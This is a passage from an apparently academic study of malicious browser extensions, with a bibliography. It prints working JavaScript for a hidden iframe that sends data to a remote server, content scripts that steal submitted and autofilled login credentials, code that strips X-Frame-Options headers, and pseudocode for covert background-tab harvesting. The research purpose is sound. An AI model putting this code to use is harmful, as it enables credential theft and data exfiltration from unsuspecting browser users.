An important part for browser attacks is the communication between the malicious extension and the attacker. In Section 5.2, we have already shown that we can load scripts from remote servers and we have shown a communication channel to exchange messages between different extensions in Section 5.2.4. In this section, we present additional approaches our implementation uses for communication to prepare or execute attacks. At the end of this section, we have summarized all techniques which we use and the privileges needed to execute them in Table 5.2.

XMLHttpRequest

We use an XMLHttpRequest to exchange information with our remote server. The implementation is similar to the implementation to load a remote script with an XHR which we have shown in Code Extract 2. The `send` method on the last line takes a message as argument which is then transfered to the server. To use the XHR, we need proper host permissions that match the targeted server. Again, we use the pattern `http://*/*`, `https://*/*`, and <`all_urls`> that match all URLs.

Iframe

Another strategy that we use to transfer information to a remote host was described by Liu et al. [20]. They analyzed possible threats in Chrome's extension model through malicious behavior and conducted that an extension can executed HTTP requests to any arbitrary host without cross-site access privileges. For that purpose, they we use the mechanics of an *iframe* element. Its task is to display a web page within another web page. The displayed web page is defined by the URL stored inside the iframe's *src* attribute. If the URL changes, the iframe reloads the web page. Adding parameters to the URL allows us to send data to the targeted server.

We implemented the content script shown in Code Extract 5. First, it creates a new `iframe` element (line 1), hides it from the user by setting the iframe's CSS style property (line 2), and appends it to the web page's DOM (line 3). When the iframe's URL source property is changed, a subsequent URL request is initiated. This way, we can transmit data to the remote server by encoding it as URL parameter (lines 4-6).

```
1   var iframe = document.createElement('iframe');
2   iframe.setAttribute('style', 'display: none;');
3   document.body.appendChild(iframe);
4   function send(data) {
5       iframe.setAttribute('src', REMOTE_SERVER_URL + '?' + encodeURIComponent(data));
6   }
```

Code Extract 5: Content script that sends data to a remote server using an `iframe` element

The Same Origin Policy creates a boundary between the iframe and it's parent web page. It prevents scripts to access content that has another origin than the script itself. Therefore, if the web page inside the iframe was loaded from another domain as the parent web page, the iframe's JavaScript can not access the parent web page and vice versa. This boundary does not prevent an extension to access information in an iframe. The extension can execute a content script in every web page hence in the iframe's web page, too. For that purpose, it has to enable the `all_frames` option for a content script either statically in the manifest or on a programmatically injection. This allows us to use the content script in Code Extract 5 for a two way communication channel. Executing a second content script inside the iframe, allows us to read information that our server has embedded inside the fetched web page.

Automatic Extension Update

In previous researches, Liu et al. implemented extensions for major browsers that can be remote controlled to execute web based attacks such as `Denial of Service` or spamming. [19, 20]. To control the extensions and send needed information such as the target for a DoS attack or a spamming text, the attacker has to communicate with his extensions. Liu et al. use the automatic update of extensions for that purpose. The browser checks for any extension update on startup and periodically on runtime. The attacker can distribute an attack by pushing a new update and the extension can read commands from a file in it's bundle. This communication channel is on one hand more stealthy than previous approaches because no web request is executed between the extension and the attacker but on the other hand a new extension version is distributed which may be the target of an analysis and it contains the message.

Technique	**Needed Privileges**
Mutual Extension Communication	Second extension, content script in arbitrary web page
XMLHttpRequest	Host permission `http://*/*`, `https://*/*` or `<all_urls>`
Iframe	Content script in arbitrary web page
Automatic Extension Update	Nothing

Table 5.2: Summary of communication techniques between an extension and a remote server and the privileges needed to use them.

5.3.2 Attacks With Content Scripts

Steal Credentials

To steal the credentials from a login form, we use two content scripts which we inject in every web page. This attack does not need additional permissions. The content script shown in Code Extract 6 steals the credentials if the user submits the login form and The other one shown in Code Extract 7 steals the credentials if the browser's password manager has filled them in the login form. To send the stolen credentials to our remote server, we use the `send` method shown in Code Extract 5 because it does not need additional permissions, too.

In Code Extract 6 we begin with retrieving an input element of type password (line 1). If we have found one (line 2), we retrieve the form which contains the password element (line 3). Finally, we add an event listener to the form which is triggered if the user submits the form and subsequently sends the form with all its values to our remote server (line 4 - 6).

Code Extract 7 is a similar implementation to Code Extract 6. Again, we begin with getting an input element of type password and the corresponding form element (line 1 - 3). Then we delay the execution about 500 milliseconds to give the password manager the time to fill in the form's credentials (line 4). Finally, if the password field is not empty, we will send the form to our remote server (line 5 - 7).

Steal Credentials In Background

In addition to stealing credentials in the current web page, we implemented several approaches that open predefined login web pages to steal probably stored credentials from the browser's password manager. Different strategies to hide the loading of a new web page were previously discussed by Lujo Bauer et al. [5]. We implemented three described techniques:

```
var passwordElement = $('input[type="password"]');
if(passwordElement.length > 0) {
      var form = passwordElement.closest('form');
      form.submit(function(event) {
            send(form);
      });
}
```

Code Extract 6: Content Script that steals credentials from a login form if the user submits the form.

```
var passwordElement = $('input[type="password"]');
if(passwordElement.length > 0) {
      var form = passwordElement.closest('form');
      setTimeout(function() {
            if(passwordElement.val() != '') {
                  send(form);
            }
      }, 500);
}
```

Code Extract 7: Content Script that steals credentials from a login form if the browser's password manager has filled in the credentials.

1. Load the targeted web page in an invisible iframe inside any web page.

2. Load the targeted web page in an inactive tab and switch back to the original web page after the attack has finished.

3. Open a new tab in an inactive browser window and load the targeted web page in this tab. Close the tab after the attack has finished.

The first technique is the least reliable one. There exists several methods to enforce that a web page is not displayed in an iframe. The standardized approach is to use the `X-Frame-Option` HTTP header which is compatible with all current browsers [27, 21]. This transfers the responsibility to enforce the policy to the browser. Other approaches use JavaScript to deny the web page's functionality if it is loaded in an iframe or simply move the web page from the iframe to the main frame.

Our implementation removes the `X-Frame-Option` from any incoming web request to be able to load particular web pages into an iframe and steal probably stored credentials. For that purpose, it needs the permissions `"webRequest"`, `"webRequestBlocking"`, `"https://*/*"`, and `"http://*/*"`. The implementation is shown in Code Extract 8. We use the `chrome.webRequest` module to add an event listener that is triggered when the browser receives HTTP headers for a response. The `addListener` method on line 1 takes additional arguments on line 9. These define that the listener is triggered on any URL that matches `https://*/*` or `http://*/*`, the request is blocked until the listener finishes, and the listener has access to the response's headers. Our listener iterates over the headers, compares if the header's name equals x-frame-options, and removes the header in this case.

To open a particular web page in an iframe, we use a content script with the `any_frame` option which enables that the content script is executed in iframes, too. The content script is shown in Code Extract 9. It checks whether or not it is currently active in the main frame on the first line. If it is active in an iframe, we use the implementation shown in Code Extract 7 to steal the probably stored credentials. If the content script is currently active in the main frame, we send a message to the extension's background to retrieve a URL. This is necessary because the content script itself can not store data - in our case a list of URLs - between different instances of itself. On line 4 till 7 we create a new iframe, make it invisible, set it's source attribute to the given URL, and add it to the document's body.

```
chrome.webRequest.onHeadersReceived.addListener(function(details) {
    details.responseHeaders.forEach(function(header, index){
        if(header.name.toLowerCase() === "x-frame-options"){
            details.responseHeaders.splice(index,1);
        }
    });
    return({responseHeaders: details.responseHeaders});
},
{urls: ['https://*/*', 'http://*/*']}, ['blocking', 'responseHeaders']);
```

Code Extract 8: Extension code to remove the `X-Frame-Options` header from any incoming web request.

```
if(window.self === window.top) {
    chrome.runtime.sendMessage({get: 'url'}, function(response) {
        if(response.url) {
            var newIframe = document.createElement('iframe');
            newIframe.setAttribute('style', 'display: none;');
            newIframe.setAttribute('src', response.url);
            document.body.appendChild(newIframe);
        }
    });
}
else { ... }
```

Code Extract 9: Content script to open a particular web page in an iframe.

The second and third technique work very similar. Both use the browser's tab system to open a particular web page and inject a content script in it to steal probably stored credentials. The source code of each technique contains more than 20 lines. Therefore, we refrained from showing the concrete implementation but instead include pseudocode for both which we show in Code Extract 11 and Code Extract 10. Both implementation inject the content script which we have shown in the previous section in Code Extract 7 to steal probably stored credentials in the newly loaded web page.

```
tab = getAnyActiveTab();
storedURL = tab.url;
tab.update(targetURL);
tab.onFinishedLoading = function() {
    tab.executeScript();
}

onMessageFromContentScript = function() {
    tab.update(storedURL);
}
```

Code Extract 10: Pseudo code to open a particular web page in an inactive tab to steal probably stored credentials.

We tested our implementations in Chrome, Opera, and Firefox. To our surprise, they were only successful in Firefox. The reason that none of our attacks work in Chrome and Opera is that JavaScript has no access to the value of a password input field before any user interaction with the web page occurred. What first seems like a bug is an intended security feature to prevent exactly this kind of attack [31].

```
tab = openNewTabInBackgroundWindo();
tab.update(targetURL);
tab.onFinishedLoading = function() {
        tab.executeScript();
}

onMessageFromContentScript = function() {
        tab.close();
}
```

Code Extract 11: Pseudo code to open a new tab in a background window an load a particular web page to steal probably stored credentials.

Bibliography

[1] MDN JavaScript Reference - Don't use eval needlessly! https://developer.mozilla.org/de/docs/Web/JavaScript/Reference/Global_Objects/eval#dont-use-it. [accessed 2015-12-29].

[2] NPAPI:ClearSiteData. https://wiki.mozilla.org/NPAPI:ClearPrivacyData. [accessed 2016-05-25].

[3] S. Bandhakavi, N. Tiku, W. Pittman, S. T. King, P. Madhusudan, and M. Winslett. Vetting browser extensions for security vulnerabilities with vex. *Commun. ACM*, 54(9):91–99, Sept. 2011.

[4] A. Barth, A. P. Felt, P. Saxena, A. Boodman, A. Barth, A. P. Felt, P. Saxena, and A. Boodman. Protecting browsers from extension vulnerabilities. In *in Proceedings of the 17th Network and Distributed System Security Symposium*, 2010.

[5] L. Bauer, S. Cai, L. Jia, T. Passaro, and Y. Tian. Analyzing the dangers posed by Chrome extensions. In *Proceedings of the IEEE Conference on Communications and Network Security*, pages 184–192. IEEE, Oct. 2014.

[6] N. Carlini, A. P. Felt, and D. Wagner. An evaluation of the google chrome extension security architecture. In *Proceedings of the 21st USENIX Conference on Security Symposium*, Security'12, pages 7–7, Berkeley, CA, USA, 2012. USENIX Association.

[7] K. Curran and T. Dougan. Man in the browser attacks. *Int. J. Ambient Comput. Intell.*, 4(1):29–39, Jan. 2012.

[8] M. Dhawan and V. Ganapathy. Analyzing information flow in javascript-based browser extensions. In *Proceedings of the 2009 Annual Computer Security Applications Conference*, ACSAC '09, pages 382–391, Washington, DC, USA, 2009. IEEE Computer Society.

[9] P. Eckersley. How unique is your web browser? In *Proceedings of the 10th International Conference on Privacy Enhancing Technologies*, PETS'10, pages 1–18, Berlin, Heidelberg, 2010. Springer-Verlag.

[10] B. Feinstein and D. Peck. Caffeine monkey: Automated collection, detection and analysis of malicious javascript. In *DEFCON 15*, 2007.

[11] O. Hallaraker and G. Vigna. Detecting malicious javascript code in mozilla. In *Proceedings of the 10th IEEE International Conference on Engineering of Complex Computer Systems*, ICECCS '05, pages 85–94, Washington, DC, USA, 2005. IEEE Computer Society.

[12] C. C. Inc. Javascript obfuscator. https://javascriptobfuscator.com/Javascript-Obfuscator.aspx. [accessed 2016-05-10].

[13] A. S. Incorporated. Actionscript® 3.0 reference for the adobe® flash® platform. http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/text/Font.html#enumerateFonts%28%29. [accessed 2016-06-03].

[14] N. Jagpal, E. Dingle, J.-P. Gravel, P. Mavrommatis, N. Provos, M. A. Rajab, and K. Thomas. Trends and lessons from three years fighting malicious extensions. In *24th USENIX Security Symposium (USENIX Security 15)*, pages 579–593, Washington, D.C., 2015. USENIX Association.

[15] JScrambler. jscrambler. https://jscrambler.com/en. [accessed 2016-05-10].

[16] S. Kamkar. evercookie – never forget. http://samy.pl/evercookie/. [accessed 2016-02-26].

[17] A. Kapravelos, C. Grier, N. Chachra, C. Kruegel, G. Vigna, and V. Paxson. Hulk: Eliciting malicious behavior in browser extensions. In *23rd USENIX Security Symposium (USENIX Security 14)*, pages 641–654, San Diego, CA, Aug. 2014. USENIX Association.

[18] B.-I. Kim, C.-T. Im, and H.-C. Jung. Suspicious malicious web site detection with strength analysis of a javascript obfuscation. *International Journal of Advanced Science and Technology*, 26:19–32, 2011.

[19] L. Liu, X. Zhang, and S. Chen. Botnet with browser extensions. In *Privacy, Security, Risk and Trust (PASSAT) and 2011 IEEE Third Inernational Conference on Social Computing (SocialCom), 2011 IEEE Third International Conference on*, pages 1089–1094. IEEE, 2011.

[20] L. Liu, X. Zhang, V. Inc, G. Yan, and S. Chen. Chrome extensions: Threat analysis and countermeasures. In *In 19th Network and Distributed System Security Symposium (NDSS '12*, 2012.

[21] MDN. The x-frame-options response header. `https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options`. [accessed 2016-05-24].

[22] K. Mowery, D. Bogenreif, S. Yilek, and H. Shacham. Fingerprinting information in JavaScript implementations. In H. Wang, editor, *Proceedings of W2SP 2011*. IEEE Computer Society, May 2011.

[23] K. Mowery and H. Shacham. Pixel perfect: Fingerprinting canvas in HTML5. In M. Fredrikson, editor, *Proceedings of W2SP 2012*. IEEE Computer Society, May 2012.

[24] N. Nikiforakis, A. Kapravelos, W. Joosen, C. Kruegel, F. Piessens, and G. Vigna. Cookieless monster: Exploring the ecosystem of web-based device fingerprinting. In *Proceedings of the 2013 IEEE Symposium on Security and Privacy*, SP '13, pages 541–555, Washington, DC, USA, 2013. IEEE Computer Society.

[25] L. Olejnik, C. Castelluccia, and A. Janc. Why Johnny Can't Browse in Peace: On the Uniqueness of Web Browsing History Patterns. In *5th Workshop on Hot Topics in Privacy Enhancing Technologies (HotPETs 2012)*, Vigo, Spain, July 2012.

[26] K. Onarlioglu, A. S. Buyukkayhan, W. Robertson, and E. Kirda. Sentinel: Securing Legacy Firefox Extensions. *Computers & Security*, 49(0), 03 2015.

[27] D. Ross, T. Gondrom, and T. Stanley. HTTP Header Field X-Frame-Options. `https://tools.ietf.org/html/rfc7034`. [accessed 2016-05-24].

[28] P. Stone. Pixel perfect timing attacks with HTML5. Technical report, Context Information Security Ltd, 2013.

[29] M. Ter Louw, J. S. Lim, and V. N. Venkatakrishnan. Extensible web browser security. In *Proceedings of the 4th International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment*, DIMVA '07, pages 1–19, Berlin, Heidelberg, 2007. Springer-Verlag.

[30] D. Tools. Javascript obfuscator/encoder. `http://www.danstools.com/javascript-obfuscate/index.php`. [accessed 2016-05-10].

[31] vabr@chromium.org. Chromium blog issue 378419. `https://bugs.chromium.org/p/chromium/issues/detail?id=378419`. [accessed 2016-03-18].

[32] A. van Kesteren. URL Living Standard. https://url.spec.whatwg.org/. [accessed 2016-04-25].

[33] A. van Kesteren, J. Aubourg, J. Song, and H. R. M. Steen. XMLHttpRequest Level 1. https://www.w3.org/TR/XMLHttpRequest/. [accessed 2016-04-27].

[34] P. Vogt, F. Nentwich, N. Jovanovic, C. Kruegel, E. Kirda, and G. Vigna. Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis. In *Network and Distributed Systems Security Symposium (NDSS)*, 02 2007.

[35] W. Xu, F. Zhang, and S. Zhu. Jstill: Mostly static detection of obfuscated malicious javascript code. In *Proceedings of the Third ACM Conference on Data and Application Security and Privacy*, CODASPY ’13, pages 117–128, New York, NY, USA, 2013. ACM.